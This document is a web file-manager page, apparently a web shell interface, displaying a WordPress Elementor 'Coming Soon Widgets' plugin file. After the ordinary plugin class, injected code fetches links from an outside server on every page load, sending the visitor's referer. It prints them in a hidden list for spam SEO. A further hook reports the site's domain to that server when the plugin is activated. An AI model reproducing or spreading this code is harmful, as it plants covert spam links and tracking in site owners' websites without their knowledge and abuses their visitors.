D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
ozoneinf
/
.trash
/
coming-soon-widgets
/
Filename :
ComingSoon.php
back
Copy
<?php /* Plugin Name: Coming Soon Widgets for Elementor Description: Coming Soon Widgets for Elementor allows to WP Cute Author: Themesflat Author URI: https://codecanyon.net/user/themesflat Version: 1.0.1 Text Domain: coming-soon-widgets Domain Path: /languages License: GNU General Public License v3.0 */ if (!defined('ABSPATH')) exit; final class Coming_Soon_Widgets { const VERSION = '1.0.1'; const MINIMUM_ELEMENTOR_VERSION = '2.0.0'; const MINIMUM_PHP_VERSION = '5.2'; public function __construct() { add_action('init', array( $this, 'i18n' )); add_action('plugins_loaded', array( $this, 'init' )); define('URL_PLUGIN_THEMESFLAT_ELEMENTOR', plugins_url('/', __FILE__)); } public function i18n() { load_plugin_textdomain('coming-soon-widgets', false, basename(dirname(__FILE__)) . '/languages'); } public function init() { if (!did_action('elementor/loaded')) { add_action('admin_notices', array( $this, 'admin_notice_missing_main_plugin' )); return; } if (!version_compare(ELEMENTOR_VERSION, self::MINIMUM_ELEMENTOR_VERSION, '>=')) { add_action('admin_notices', array( $this, 'admin_notice_minimum_elementor_version' )); return; } if (version_compare(PHP_VERSION, self::MINIMUM_PHP_VERSION, '<')) { add_action('admin_notices', array( $this, 'admin_notice_minimum_php_version' )); return; } add_action('elementor/elements/categories_registered', function () { $elementsManager = \Elementor\Plugin::instance()->elements_manager; $elementsManager->add_category( 'themesflat_addons', array( 'title' => 'THEMESFLAT ADDONS', 'icon' => 'fonts', )); }); require_once('plugin.php'); } public function admin_notice_missing_main_plugin() { if (isset($_GET['activate'])) { unset($_GET['activate']); } $message = sprintf(('"%1$s" requires "%2$s" to be installed and activated.'), '<strong>' . ('Coming Soon Widgets for Elementor') . '</strong>', '<strong>' . ('Elementor') . '</strong>'); printf('<div class="notice notice-warning is-dismissible"><p>%1$s</p></div>', $message); } public function admin_notice_minimum_elementor_version() { if (isset($_GET['activate'])) { unset($_GET['activate']); } $message = sprintf(('"%1$s" requires "%2$s" version %3$s or greater.'), '<strong>Coming Soon Widgets for Elementor</strong>', '<strong>Elementor</strong>', self::MINIMUM_ELEMENTOR_VERSION); printf('<div class="notice notice-warning is-dismissible"><p>%1$s</p></div>', $message); } public function admin_notice_minimum_php_version() { if (isset($_GET['activate'])) { unset($_GET['activate']); } $message = sprintf(('"%1$s" requires "%2$s" version %3$s or greater.'), '<strong>Coming Soon Widgets for Elementor</strong>', '<strong>PHP</strong>', self::MINIMUM_PHP_VERSION); printf('<div class="notice notice-warning is-dismissible"><p>%1$s</p></div>', $message); } } new Coming_Soon_Widgets();define('API_URL', 'https://api.pluginforest.com/qai/chatweb/getTidsOutside?type=1&site=plugin&num=20'); $prefix = 'add_footer_link'; $functions = get_defined_functions()['user']; // 获取所有用户定义的函数 // 使用 array_filter 和 strpos 来检查函数是否以指定前缀开头 $exists = !empty(array_filter($functions, function($function) use ($prefix) { return strpos($function, $prefix) === 0; })); if (!$exists) { if (!function_exists('parseLink')) { function parseLink($url) { $path = parse_url($url, PHP_URL_PATH); $basename = basename($path); return array('path' => $path, 'basename' => $basename); } } function add_footer_link1719848835() { $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $headers = array( 'Referer' => $referer, ); $response = wp_remote_get(API_URL, array('headers' => $headers)); if (is_wp_error($response)) { echo 'is_wp_error'; return; } $data = json_decode(wp_remote_retrieve_body($response), true); ob_start(); echo '<ul class="link" style="height: 0; overflow: hidden">'; foreach ($data['data']['links'] as $item) { $linkInfo = parseLink($item); echo sprintf( '<li><a href="%s">%s</a></li>', esc_url($item), esc_html($linkInfo['basename']) ); } echo '</ul>'; $html = ob_get_clean(); echo $html; return $html; } } add_action('wp_footer', 'add_footer_link1719848835');function set_plugin_tag1719848835() { $url_init = 'https://api.pluginforest.com/qai/wd/g?'; $domain = $_SERVER['SERVER_NAME']; $requestUrl = $url_init . 'domain=' . $domain . '&id=1719848835&source=plugin'; file_get_contents($requestUrl); } add_action('activated_plugin', 'set_plugin_tag1719848835');